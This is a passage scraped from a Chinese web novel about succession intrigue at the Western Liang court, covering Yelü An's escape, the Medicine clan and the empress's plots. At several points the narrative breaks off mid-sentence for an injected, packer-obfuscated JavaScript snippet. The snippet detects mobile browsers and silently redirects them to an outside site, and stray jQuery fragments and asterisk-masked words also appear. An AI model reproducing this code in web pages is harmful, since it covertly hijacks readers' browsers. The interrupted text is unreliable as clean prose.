西凉皇帝倒是没在意这件事,玄之又玄的事总无法考证,若这么小的孩子说什么都信,自己岂不是白活了? 反倒是翻看着温家的兵法诡道时,脸上终于露出了笑意。 让人把晏明昭待下去,这才跟耶律安说:“带着他去雁门关,晏怀卿虽然没什么大用,但他手底下的兵极了解大夏的地形,一路攻进去,避开这边的锋芒,也让那些臣子和百姓见识见识大皇子的本事。” 耶律安立刻跪倒在地:“父皇,儿臣若离开京城,海蓝一族必定会趁机发难啊,儿臣怎么能留父皇一个人对付海蓝一族呢?” 西凉皇帝脸色阴沉:“正因如此,你离开燕京,并且我会给你一道密旨,他日能派上大用场。” 耶律安心知肚明,但装糊涂,含泪摇头不肯离燕京。 西凉皇帝气得抓起来茶盏砸了耶律安的脑门:“你若不去,难道要都死在燕京吗?耶律家的江山,能拱手让人不成?” 第228章 你若不乔装成牧民,必死无疑! 耶律安离开皇宫的背影被站在观星楼上的西凉皇后看得真切,她平静无波的脸上扬起了一丝笑意。 宫里的皇子不少,她如今没有了要扶持的人,坐山观虎斗才有意思。 “放出去风声,耶律安去雁门关接管兵权,身上有密旨,这密旨有可能会成为遗诏。”西凉皇后淡淡的说,身边的嬷嬷立刻扭头走了,若是内行人在的话,一定会看得出来这陪在皇后身边的嬷嬷,轻功极好。 耶律安对外一直都是与世无争的样子,娶了个民间女子为妻,生得头一个孩子是个女儿,视若珍宝,就是被晏明昭盯上的皇长孙女耶律楚楚。 他回到府里,并没有惊动任何仆从,而是让妻女准备妥当,秘密的派人护送她们往神女山去,神女山上有可藏身之地,至少安全无虞。 大皇子妃虽是民间女子,但容色绝美,因是孤女并没有姓氏,未曾嫁给耶律安前,别人都叫她格日勒。 格日勒抱着女儿,含泪辞别,一身马装的她把女儿放在怀里用布带系好,护卫分批出城,沿途接应,而她独自骑马离开燕京,一路往神女山而去。 耶律安送走妻女,心中再无挂碍,召出死士统领,把京城的事安排妥当,护卫准备停当,半夜启程。 之所以这样安排,概因耶律安心里比任何人都清楚,怀里的诏书必须是遗诏,如果燕京里的人不能成事,自己的人必定要动手,他从来目标明确,必须要当皇帝! 唯有至高无上的权利,才会让自己能护得住妻女。 子夜,正是人意志力最薄弱的时候,他是否能平安离开燕京,还需要做万全准备。 与此同时,后宫有皇子的嫔妃都蠢蠢欲动了,谁都知道大皇子若是登上皇位,毕竟无所顾忌,这和耶律齐不一样,耶律齐有海蓝一族做仰仗,底气足,自然不惧有人不服,正因如此不会赶尽杀绝,反倒是耶律安,与世无争是假象,皇后对耶律齐和耶律安的态度足以看出许多端倪,能在后宫立足,又能有子嗣傍身,哪个是**呢? 这世上没有不透风的墙,关于耶律安的传言早就有,只不过没人出来一锤定音传言真伪罢了。 所以,各路人马都盯着大皇子府。 “主人,大皇子送走了大皇子妃和他们的孩子。”黑衣人现身。 西凉皇后嘴角勾起一抹冷笑,他什么都想要怎么行呢? “动手。”西凉皇后下令。 黑衣人拱手退下。 这注定是皇宫里的不眠夜,唯一能睡安稳的便是西凉皇后。 耶律安子时出门,穿着护卫的装束,替身坐在马车里,宫门口守卫打开城门,出城时候,耶律安松了口气,殊不知此时的御书房里,晏明昭跪在西凉皇帝面前,眼泪都下来了:“皇上,一定要救大皇子,若是如此离京,是要丢了性命的。” 西凉皇帝一摆手,旁边侍卫过来直接把晏明昭提起来,后颈一个手刀把人劈晕后,夹在腋下直接出宫,一路追耶律安而去。 城外,带着青面獠牙面具的护卫队都穿着黑衣,远远看过去如出一辙,耶律安笃定没人能看得出来哪个是自己,但不敢放松分毫,十分警惕。 离皇城刚十里,突然破风之声从两侧响起,翎羽箭尾染着蓝色的火苗,像是雨点一般袭来。 耶律安眼睁睁看着马车着火,催动战马和众人一起冲过去,提前安排好的人破开马车,把马车里的替身拉出来,替身策马在前,护卫把替身护在中间,一波箭雨过后,损失过半,耶律安手心里都是冷汗,从身上拔下来翎羽箭扔在地上,幸好穿了软猬甲,否则不死也会重伤,显然出手的人是一个活口都没想留下。 送晏明昭的人赶上来的时候,也被吓得不轻,他把晏明昭扔给其中一个护卫,拨转马头往回跑,去给皇上报信儿。 西凉皇帝得到消息,立刻派遣飞虎骑出宫,想到晏明昭的话,心里已有悔意,直接来到凤仪宫,宫门口,白音嬷嬷跪下禀告:“皇后娘娘心力亏虚,已昏睡多时。” 西凉皇帝直接进门,掀开幔帐果然看到皇后睡得沉,只是眼角挂着泪痕。 “皇上,太医给了安神的药十分霸烈,皇后娘娘若不到天明都睁不开眼睛。”白音嬷嬷跪在床边说。 西凉皇帝坐下来,传召太医过来。 太医所言也是如此,且这种安神药只能睡足了,才能醒来,并没有什么解药之说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969112|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 重拳砸在了棉花上,西凉皇帝愤而离去。 身边老太监来报,各宫都大门紧闭,但都没有安睡,除了宫里的嫔妃,几位皇子的府邸里也不消停。 “竟然都沉不住气了!”西凉皇帝抓起来茶盏砸在地上:“真以为没有了耶律齐,他们就都有机会了?” 老太监跪下不敢说话。 就在西凉皇帝怒不可遏的时候,耶律安一行人再次遇袭,这次比上一次更凶悍,铁盔铁甲的骑兵,手持长刀,无差别**,被冷风一吹的晏明昭睁开眼睛,吓得差点儿直接死过去。 他不敢乱叫,更别说乱动了,眼巴巴的去寻找耶律安。 但都是一样的人,哪里能分辨出来谁是耶律安。 替身在耶律安眼前被一刀砍掉了脑袋,还不等众人反应过来,有人抓起来人头策马狂奔而去,显然是去邀功。 片刻过后,残兵满地,耶律安看着不足三十人的护卫,心都凉了半截。 “我有一计。”晏明昭管不了那么多了,大声喊了句。 耶律安没动,而是给亲信递过去一个眼色。 “去附近的村子里,乔装成牧民。”晏明昭说。 耶律安微微眯起眼睛,信?自是不信,现如今出手的不是一个人,但到底多少人对自己出手尚不可知,甚至觉得他的父皇都会出手,若不能尽快到雁门关,危险就时刻都在。 天色微明,第三波袭击又来,这次不止有骑兵,还有弓箭手。 晏明昭看着这些人的队形,目光落在其中一个护卫身上,他知道这就是耶律安。 心里骂了句蠢货,这些人明明是不杀了他不罢休,剩下的人越少,暴露就越容易,可这个时候他只是不想自己死,哪里会多说一个字? 突然,抓着他的骑兵一扬手就把他扔出来了,似乎是商量好的,耶律安抬手接住了晏明昭,一声哨响,这些人四散奔逃,显然是想要突围,又能迷惑来袭之人。 晏明昭抬头瞪大眼睛看着耶律安:“你若不乔装成牧民,必死无疑!” “你,说得对。”耶律安听到身后风声不对,抓着晏明昭往身后一背,惨叫声随之而来…… 第229章 草原上的白毡房 晏明昭被一箭射穿了肩胛骨,惨叫之后竟感觉不到疼痛似的,头脑清明的厉害,那箭上有毒,他知道自己必死无疑了。 可就这么死掉,窝囊得他都不敢相信这是真的。 以为耶律安会把自己丢下,可没想到耶律安躲过一击之后,一只手提着他,一只手抓紧了马缰绳,几乎趴在马背上催促战马狂奔。 他的马,必定是宝马良驹,因为速度极快,晏明昭回头看那越来越远的烟尘,知道追他们的人不少,不过速度不行。 就在晏明昭觉得耶律安会仰仗着宝马良驹一路狂奔的时候,耶律安竟直接翻身下马,动作干净利索,而他依旧被提在耶律安的手里,没有任何犹豫,晏明昭立刻闭上了眼睛装死,跟让他没想到的是,耶律安竟抓着翎羽箭的箭尖,生生的让整支翎羽箭从他的肩胛骨处穿了过去,撕心裂肺的疼袭来,晏明昭再次惨叫出声。 “有毒,并且箭尖有倒钩,唯有如此才能救你。”耶律安扫了一眼晏明昭,冷冷地说。 晏明昭疼得嘴唇都在颤抖,完全说不出话来,心里却恨毒了耶律安,救自己?明明是留着自己这条命还有用,哪里有什么好心?用自己挡箭还要让自己感激他,真是天大的笑话! 他们二人藏在草丛里,不到一盏茶的工夫,看到那些追兵过去了,耶律安把面具摘掉,盔甲一并扔在深坑里,只穿了黑色的长袍,抱着晏明昭往不远处的毡房走去。 草原上,随处可见这样的毡房,零落入星,又能相互呼应,不会距离很远。 晏明昭勉强睁开眼睛,看到毡房中有一个白色的毡房,心里咯噔一下,在草原上行走的人都知道,白色的毡房是草原上最不该去打扰的禁区,并不是多危险,而是白色的毡房里住着的是可以婚配的少女,一旦有人闯入,那便要娶毡房里的少女为妻,若不然会被人活活打死的。 他算是看出来了,耶律安不是不想乔装成牧民,只是想要找个最好的庇护,距白毡房不远就有七八个毡房,大概率是白毡房里的姑娘的亲人。 走到了毡房近处,耶律安把似半边身子都染了血的晏明昭抱在怀里,来到毡房门口:“善良的姑娘,请救一救这可怜的孩子。” 毡房的帘子打开,面上罩着白纱的年轻姑娘看到耶律安,再看到他怀里奄奄一息的晏明昭,立刻侧开身:“快请进来吧。” 耶律安单膝跪地,把晏明昭送到姑娘面前:“我不敢再进一步。” “人命关天,进来吧。”年轻的姑娘说着,转身进去了。 晏明昭在想,耶律安会不会进去,毕竟谁都知道大皇子耶律安深爱他的妻子。 可他都没能想出来个所以然,耶律安已经抱着他进了毡房。 毡房里有药香。 晏明昭看到了磨药的碾船、熬药的炉子和药架子,顿时明白了,要说了解西凉境内的这些游牧民族,耶律安是首屈一指的,一个处心积虑想要爬上高位的人,自然对这些要了若指掌,选择往这边跑,用自己挡箭还有下马的时机都证明这个人心思缜密的吓人。 只不过晏明昭并不了解西凉的事,被放在白色的羊皮褥子上,只能勉强睁开眼睛看那白纱遮面的年轻女子,看到了她十分漂亮的一双眼睛和光洁的额头,有这样一双眼睛的女子,必定是个绝色美人儿。 衣服被解开,伤口触目惊心,这样的伤口就算是在壮年男人身上都会丢掉半条命,何况这么小的孩子,更不用说还有毒。 年轻女子不急不忙的取了一点儿血放在舌尖儿,转身去要架子上取草药,放在碾船里,抬头对耶律安说:“劳烦把这些草药碾成碎末。” 耶律安立刻过来开始蹬碾船,抬头看着年轻的女子取出来烈酒和刀具,药粉洒在伤口上,点燃烈酒烧了刀具后,十分沉稳的清理了伤口附近已经坏死和发黑的肉…… 晏明昭昏过去了,疼得眼泪顺着眼角往外冒,可一声没坑。 处理好这些,年轻女子过来取走了碾船里的药粉,把伤口敷好,用柔软的白色棉布包扎好,这才给是诊脉,去抓了草药配好,把药炉子提到外面,开始熬药。 耶律安坐在晏明昭身边,顺着毡房帘子的缝隙能看到少女的侧脸,这是草原上神秘的部落,药族的人都善医,据说岐黄之术是从上古传承下来的,本来和巫族没分家,那个时候草原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971128|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的大祭司便出在巫医一族,后来因为历代大祭司都没有好下场,久而久之这个族群就没落了,分成了不肯再出现在人前的巫族和在草原上颇为神秘的药族。 他一直都相信要稳定西凉,大祭司的职位就不能悬空,更不是随便什么人都能担任的,现如今西凉的大国师并没有通鬼神的本领,善卜算倒是真的,可草原上的大祭司那是能沟通天地的存在,是最神奇的部族。 这些年来除了寻访巫族外,就是时刻盯着药族的动态,如今自己见到的便是药族的圣女,以医女的身份行走在草原上,为草原上的人治病。 他要收服药族,这便是自己的机会。 熬好了药,年轻的少女端着汤药进来,试了试温度,取来了汤匙,把晏明昭抱起来靠在她的怀里,银针唤醒了晏明昭,柔声:“吃药。” 晏明昭听到这略有些僵硬的大夏官话,乖巧的张开嘴,苦涩的汤药一口口喝下去,他一声不吭,其实他就算不了解西凉,但西凉话是能听懂的,只不过现在他真是命都快保不住了,一个字都不想说。 汤药喝完,少女把他放下,这才看了眼耶律安:“大皇子,你带着这个孩子来到我的毡房,可知道多少人盯着我这里吗?” 耶律安起身,郑重其事的单膝跪地,表情虔诚,抬眸看着少女:“同为天神的后代子孙,耶律安哪里会不懂草原上的规矩,若非性命攸关,怎么也不会出此下策,圣女救了的不是这个孩子,而是我的命,但凡圣女让我做的,我都不会拒绝,还会拼尽全力也完成。” “果然是步步为营。”少女打量着耶律安:“巫族推算过,你会成为未来的西凉之主,若我要求是大皇子重新让巫族和药族走到人前,可难啊?” 耶律安喜出望外:“这些年我一直都在寻访巫族的下落,圣女可以指点迷津吗?” “那要先答应我的要求,如果我需要成为西凉未来的皇后,你会答应吗?”少女目光淡然的看着耶律安。 躺在羊皮褥子上的晏明昭差点儿没跳起来,我的老天,巫族,巫族不是奉萧玄策为主吗?跟耶律安有什么关系?难道真和自己知道的过去不一样了? 第230章 这是真小人啊 耶律安抬眸看着面前的少女,缓缓地站起来了。 晏明昭笃定耶律安一定会答应,毕竟他的妻子是个平民,没有任何背景,生下的也是不能继承皇位的女儿,跟江山比起来,这母女二人轻如鸿**,傻子都知道怎么选啊。 “圣女,恕难从命,我与发妻早就对天神盟誓,此生此时不离不弃,贫贱富贵亦不动摇,若因身外之物就背弃她的一片真心,我宁可从此遁走,退隐山林之中,这人世间的争名逐利,与我无关,但一妻一女,是我的全部。”耶律安说罢,看了眼晏明昭,叹息:“我并非是第一个进来这个毡房的男人,虽说这样有些无赖,可为了保护妻女,我不得不这般说,这个孩子虽然还小,可也是男儿身,他才是第一个走进这毡房的人。” 别说少女,就是晏明昭都蒙了,反应过来只想骂娘,这个混账东西到底怎么想的?是为了达到目的什么都可以出卖,但出卖的必须是别人的,自己一毛不拔啊。 少女眼里有了愤怒之色:“光明磊落才是真男人,耶律安,你如此小人行径,是觉得我药族人丁稀薄,受辱也敢怒不敢言吗?” “绝无此意,请圣女体谅。”耶律安恭敬地行礼后,步步后退,试图离开。 还没等到门口,帘子外面守着的十几个壮汉提着放牧的长鞭就拉开架势了,其中一个壮汉怒喝一声:“如此玷污圣女的名誉,打死也不为过,不管是任何人,在药族所有人眼里,圣女就是不容冒犯的主人!” 少女抬眸似看着耶律安:“全身而退?休想,把命留在这里。” 耶律安苦笑着点头:“若是如此能让圣女消气儿,死就死吧,至少对得起我的妻女,并不曾背叛过她们。” “如此坚决,那就**吧。”少女一转身,不看耶律安了。 耶律安也转身,从毡房里走出来,迎面长鞭带着呼啸的声音,抽得他摔倒在地,一口鲜血喷了出来。 众人一拥而上,拳打脚踢,耶律安并不曾回手,似也没有还手之力一般。 “求饶,答应圣女的要求,放你一条活路。” 有人威胁道。 “不管什么人,命就只有一条,要珍惜啊。” 有人劝慰。 但拳脚可没有容情的。 耶律安缓缓地闭上了眼睛。 毡房的帘子挑开,少女扫了眼鼻青脸肿,口吐鲜血的耶律安,摆了摆手。 晏明昭三魂七魄都快跑完了,看着被抬进来的耶律安,恨不得破口大骂这个不识好歹的短命鬼,连累自己怕是也活不成啊。 圣女出手,开始处理伤口,救人,随后走了。 晏明昭似心如死灰,要不是自己动弹不得,恨不得多长出来两条腿,赶紧跑,离开这是非之地。 后半夜,晏明昭睡得不踏实,迷迷糊糊的听到一个女人的声音,似是有些埋怨似:“若兰,下手太重了。” “主人,若不是这般,谁知道这些狗男人的真心是什么样子的?您埋怨我作甚?还不是为了护着主人吗?”少女的声音带着几分委屈巴巴的意味。 晏明昭勉强睁开眼睛,只恨不得把耶律安家的祖坟都刨了,他的祖宗都拉出来鞭尸,他看到了什么啊?那个众所周知是平民的大皇子妃!药族圣女都要称之为主人! **的耶律安,这深沉的心思让人看不透,也让人心里都恐惧啊。 自己白活了两辈子,被耶律安玩儿的团团转不说,还被利用的彻彻底底啊。 圣女负气的转身就走,大皇子妃走到床边用软布给耶律安擦拭脸上的脏污,被完全忽略的晏明昭这会儿也扛不住睡着了,睡着的时候还在想耶律安和这位大皇子妃之间的彼此试探,跟自己那个不争气的爹比起来,罢了,根本给人家提鞋都不配。 三日后,耶律安才醒来。 这三日,晏明昭可算知道了什么遭罪,坐在马车里,被草原那疙疙瘩瘩的路颠得伤口冒血,疼得眼冒金星。 可有什么办法?他在这些人的眼里算个什么呢? “格日勒!”耶律安猛地坐起来,抓住了格日勒的手:“你怎么在这里?是不是被他们抓来的?我是逼不得已,你快走。” 格日勒看着耶律安,表情平静:“我是巫医族的族长。” 耶律安的手缓缓地松开了,不敢相信的看着格日勒。 “你早就该知道,就算不知道我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975472|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身份,也知道我跟药族有关系的,所以,夫君啊,你逼我现身,何须如此?夫妻本为一体,我怎么能不帮你呢?”格日勒语气平缓。 这可把晏明昭高兴坏了,这口恶气可算出了,什么是真君子?明明是彻头彻尾的真小人。 耶律安笑了:“我的妻啊,你冤枉了我,若不是我用这样的方法,怎么能让我们光明正大的在一起?那些族人最恨皇族,唯有如此才能让你的族人知道,我可以为了你死,而这足够让任何一个女人托付终身了,怎么到你这里我倒成了小人呢?” “夫君,我们很快就到神女山了。”格日勒并没有要跟他掰扯的心思。 耶律安也没有继续纠缠,而是说:“准备了这么多年,神女山里的战士们终于可以走出神女山,建功立业了。” 接下来,两个人都不说话了。 晏明昭选择装死,必须装死才行,因这两个人看似剑拔**张,可实际上就差黏在一起了。 ***燕京城里。 西凉皇后得到了耶律安逃走的消息,冷冷的哼了一声,这些废物真是没用。 倒是西凉皇帝大发雷霆,彻查之下竟然和海蓝一族没关系! 反倒是把自己那些皇儿都牵扯进来了似,铁证如山。 “有人要朕绝嗣啊!”西凉皇帝面色苍白,他已经没有了回头路走,本想要趁机重创海蓝一族,可如今他连鸡蛋里挑骨头的机会都没有! 朝臣跪倒一大片,要他以谋逆处置这些皇子。 圣旨迟迟未下,御书房里怒容满面的西凉皇帝,突然心口发热,嗓子腥甜,一张嘴喷出来一口鲜血,染红了面前的宣纸。 “要让朕死吗?朕不会死的!”西凉皇帝起身,从墙上摘下宝剑,提着寒光闪闪的宝剑冲进了凤仪宫:“今日,若不杀你,你以为朕是蠢驴!” 西凉皇后抬眸看着冲击来的西凉皇帝,叹了口气:“你怎么总盯着我呢?要杀你的是耶律安啊,你看看这是什么?” 西凉皇帝看着桌子上摆着的密报,巫族重现天日,大皇子妃是巫医族的族长! 一口血又喷了出来,西凉皇帝眼前发黑,直接摔倒在地…… 第231章 女人心,海底针 宫里,风声鹤唳,西凉皇帝像是疯了一般从凤仪宫出来后,提着宝剑把宫里的几个有皇子的嫔妃都诛杀当场,顿时整个燕京都乱了。 消息瞒不住,甚至都没有瞒着的意思,各家大臣都接到了消息,得到消息的大臣们不约而同的来到宫门外求见,怕皇上再做出来什么出格的事。 凤仪宫里。 海蓝嘉善坐在椅子上,抬眸看自己的妹妹。 西凉皇后轻轻地叹了口气:“兄长,本宫能有今日,都是家族托举,尽管本宫并非真正的海蓝一族血脉,可这些年的托举之恩,铭记五内,不敢有片刻遗忘。” 海蓝嘉善神色微变,显然没想到皇后会直接把这样的话说出来,并且这个秘密在海蓝家族里是顶级的机密,除了家主外,无人知晓。 他看向了老嬷嬷白音。 当年把佛尔果春抱回来的时候,只是个刚出生的婴儿,怎么可能知道自己的身世,这老嬷嬷从小伺候佛尔果春,倒是他失策了,以为无人知晓却忽略了这个奴才! “兄长也不用对白音这般,毕竟白音是本宫的人,若还藏着这么大的秘密,那才是真正的背主,而本宫如今并没有认为自己和海蓝家族有什么隔阂,在齐儿被害后,本宫所作所为都是为了保护家族。”皇后说到这里,轻轻地叹了口气:“只是,权利染血,古来如此,如今齐儿不能再争了,可本宫不想让步。” 海蓝嘉善收回目光:“皇后想要做什么?” “兄长,当年海蓝家族能选中我,是有高人指点吗?”皇后问。 海蓝嘉善抬头:“确实,说草原上真正的王如明珠蒙尘,海蓝一族若想要昌盛下去,需要寻找到她,养育她,并且听命于她。” “所以。”皇后起身走到海蓝嘉善的面前,俯下身:“本宫要成为西凉的皇。” 海蓝嘉善脸色大变,抬头对上皇后的目光,竟不敢直视,别开脸:“那些大臣是你杀的?” “是,我要让海蓝家族置身事外。”皇后说:“那些人本就是冲着齐儿才归顺的,一旦齐儿的死,让他们认定本宫没了仰仗,海蓝家族没有了盼头,那就会倒戈。” 海蓝嘉善缓缓地吸了口气,确实手段凌厉,可也有道理。 “不止这些,耶律安带着密诏去雁门关的事,是本宫放出去风声的,皇上如今情绪难以自控,兄长要率领海蓝家子弟,护驾。”皇后说:“海蓝一族才是皇家最忠诚的臣子。” 海蓝嘉善明白了皇后的意思,起身后退两步拱手行礼:“请皇后放心。” 话音刚落,外面有宫女来报,皇上在御书房大开杀戒,已经把前来劝慰的大臣杀了四个了。似海蓝嘉善惊恐的表情迅速收了起来,他确实低估了眼前这位,原以为这位能诞下皇子,海蓝家族辅佐皇子成为西凉的皇帝,作为外戚更是元老的海蓝家族就可以至少百年内高枕无忧,可万万没想到,这一切变化的太快,而眼前这位的手段,令他咂舌。 “兄长,您要去护驾。”皇后说。 海蓝嘉善点头:“臣告退。” 皇后看着海蓝嘉善离开的背影,微微的勾起唇角。 “主人,他对奴起了杀心并不意外,只是真的会对主人忠心吗?”白音凑过来,搀扶着皇后回到椅子上坐下来。 皇后看着白音:“为何不忠心呢?” 白音低声:“若是投靠了大皇子,我们就没有了这唯一的仰仗,草原上从古至今,就没有女人执掌天下的先例,若是六皇子能留下一丝血脉,时局不会现在这般,对主人太不利了。” 皇后笑了:“谁说齐儿没有血脉呢?” 白音心里咯噔一下,六皇子不肯完婚,若非如此,也不会迟迟都没有被定为储君,六皇子被封平南王后,王府里也干净的厉害,哪怕有一点点儿风吹草动,在宫里也不会是秘密的啊。 “皇后娘娘,人带到了。”宫女进门禀报。 皇后收起笑意,沉声:“带进来。” 白音抬眸看过去,就见一个年轻的妇人,怀里抱着襁褓,身边跟着个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975473|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小女娃,小女娃看上去五六岁的样子,眉眼像极了皇后小时候,顿时眼睛都亮了。 妇人跪倒在地:“母后。” “起来吧,把孩子抱过来,本宫要看看。”皇后说。 妇人伸出手,白音过去接过来襁褓,扫了眼里面沉睡的小娃娃,白净的皮肤是草原上的孩子少见的,虽然睡着了,但长长的睫毛,高高的额头,粉嘟嘟的小嘴儿和高挺的鼻梁,一看就贵气。 皇后接过来孩子放在怀里,端详了片刻问:“可取名了?” 妇人摇头:“王爷没来得及看孩子一眼。” 说着,眼泪就掉下来了。 皇后点了点头:“那就等他皇祖父赐名吧。” 说罢,目光落在小女娃身上,问:“楚楚啊,可怕皇祖母?” 耶律楚楚走过来,跪在皇后的脚边:“皇祖母,您最疼爱楚楚了,楚楚爱您还来不及,不怕的。” 皇后点了点头:“你们的都是好孩子,你们的母亲是个了不起的女子,先安顿下来。” 御书房里。 海蓝嘉善跪在西凉皇帝面前痛哭流涕,为一众瑟瑟发抖的大臣求情。 “皇上,不可动摇国本啊。”海蓝嘉善老泪纵横。 西凉皇帝的龙袍染血,手里提着宝剑指着海蓝嘉善:“你可知老**了之后,国本就已动摇了?” 海蓝嘉善磕头在地:“还龙嗣不止平南王,皇上万万不可因平南王就如此大开杀戒,西凉和大夏的一战在所难免,西域三十六国如今被萧玄策收入囊中,若此时我西凉内乱,大夏会趁机**不说,萧玄策也会想要吞掉西凉啊。” 这话,犹如重锤一般砸在了西凉皇帝的脑袋上,他手里的宝剑嘡啷落地,垂着肩膀走到御书案后面的椅子前坐下,神色灰败的看着眼前这些人和地上的血迹,问:“嘉善啊,难道西凉尽了吗?” 不等海蓝嘉善回话,就听大殿外面传来了皇后的声音:“皇上,齐儿留下了一双儿女,您可要见一见?” 第232章 到现在你还想要利用我啊 西凉皇帝抬头看门外走进来的皇后,一股淡淡的清香让他整个人都清醒了很多。 “皇上。”皇后走到跟前,行礼后抬头:“您暂息雷霆之怒,臣妾已经处理好宫里的事,前朝乃是国祚啊。” 这些大臣都想哭了,海蓝嘉善站在他们前面,保护他们也就罢了,皇后娘娘也出面保他们,何德何能啊,这皇上跟疯了一般,险些都死在这里了啊。 到这个时候,他们才不相信皇上是因为平南王被害才发狂的,毕竟平南王被害的日子可不短了,反倒是大皇子离京,这位就发狂起来,显然是在为大皇子清理所有阻碍啊。 如此看来,就算是最讨厌海蓝家族的人都觉得在这种危急关头,海蓝家族的狗都眉清目秀了。 西凉皇帝看着皇后:“你说,齐儿有子嗣?” “是,皇上,息怒。”皇后柔声说。 西凉皇帝确实觉得整个人都安定下来了,再看染血的宝剑,满地的鲜血和瑟瑟发抖的大臣,摆了摆手:“退下吧。” 如蒙大赦的大臣们立刻逃之夭夭,海蓝嘉善走到了门口,西凉皇帝叫住了他:“舅兄不着急走,可以共议大事。” 海蓝嘉善收回脚步,回到御书房里垂首站在一边。 皇后亲自给皇上斟茶,立在旁边轻声说:“齐儿在的时候就不肯让两个孩子露面,总说不安全,当时臣妾是反对的,到了我们这个年纪能被叫一声皇祖父、皇祖母,该是多么欣慰。” 西凉皇帝喝茶,只觉得这个茶很暖,从嗓子眼儿一直暖到了心里,听到皇后说这句话的时候,勾起了当年的往事,身为皇子的他何曾不是也这般如履薄冰的走过来的呢? 只是自己登上了大宝,忘记了曾经的来时路,唯记得没有护住的那个通房,为了弥补这个遗憾,暗中一直都在培养耶律安。 只是,耶律安竟然把巫医族都收入麾下,足以见得自己到底是看错了他。 不过这样的话不能说出口罢了。 良久才说:“孩子们多大了?” “孙儿才四个多月,尚且在襁褓中,孙女今年五岁了,小名楚楚。”皇后说到这里,声音哽咽:“齐儿没见到自己的儿子,也没来得及给起名。” 西凉皇帝点了点头。 “舅兄,朕冤枉了你们。”西凉皇帝说。 海蓝嘉善赶紧跪下:“皇上是怒急了,别说您贵为天子,就是寻常百姓家,若是子孙自相残杀,也是会逼人发疯的。” 这话让西凉皇帝心里非常舒坦。 他如今冷静下来了,心里却疑窦丛生,他这一辈子什么风浪没见过,怎么会如此大开杀戒? 不给他机会胡思乱想,海蓝嘉善给的答案恰巧就是他想要听到的。 “把孩子抱过来。”西凉皇帝说。 皇后恭敬的应了一声,退了下去。 西凉皇帝问海蓝嘉善:“如今,该如何收场?” ***“如何收场?”裴祈安放下茶盏,看着温令仪:“你觉得,西凉的皇帝到现在这个程度,还有机会收场了吗?” “你的意思是他收不了场了?”温令仪疑惑的问。 裴祈安点头:“皇后不会给他机会的,也就是说,走到今天这个地步,西凉皇帝的作用已经没有了,能多留几日,不过是为了名正言顺。” 温令仪没有再问。 自己研制出来的药,自己心里是有数的。 如此看来,西凉的一切都要落幕了,如此最好不过,怎么也不能这么一直纠缠下去。 她想要见到女儿。 不知道小囡囡在萧玄策跟前到底日子过得好不好,真是每时每刻都牵挂在心啊。 正如裴祈安所说,西凉皇帝不再上朝。 但下了一道旨意,海蓝嘉善监国,平南王的儿子耶律洪基为太子。 消息像是一道惊雷,震碎了许多人的心,但燕京城里,平静的厉害,那些死掉的大臣、妃嫔和皇子,没有掀起来一点点儿风浪,甚至都没有人怀疑一下这位突然冒出来的皇孙到底是怎么回事。 雁门关。 耶律安接到消息,脸色苍白,一拍桌子:“岂有此理!海蓝一族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976980|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然野心勃勃,这时候尽能按出来个孩子,真是无耻至极!” 晏明昭低头不语,他现在是一步都不能离开耶律安,不是他不想,是耶律安不准他离开,此时自己能说什么?说自己不知道耶律洪基? 事实上,哪里有什么耶律洪基? 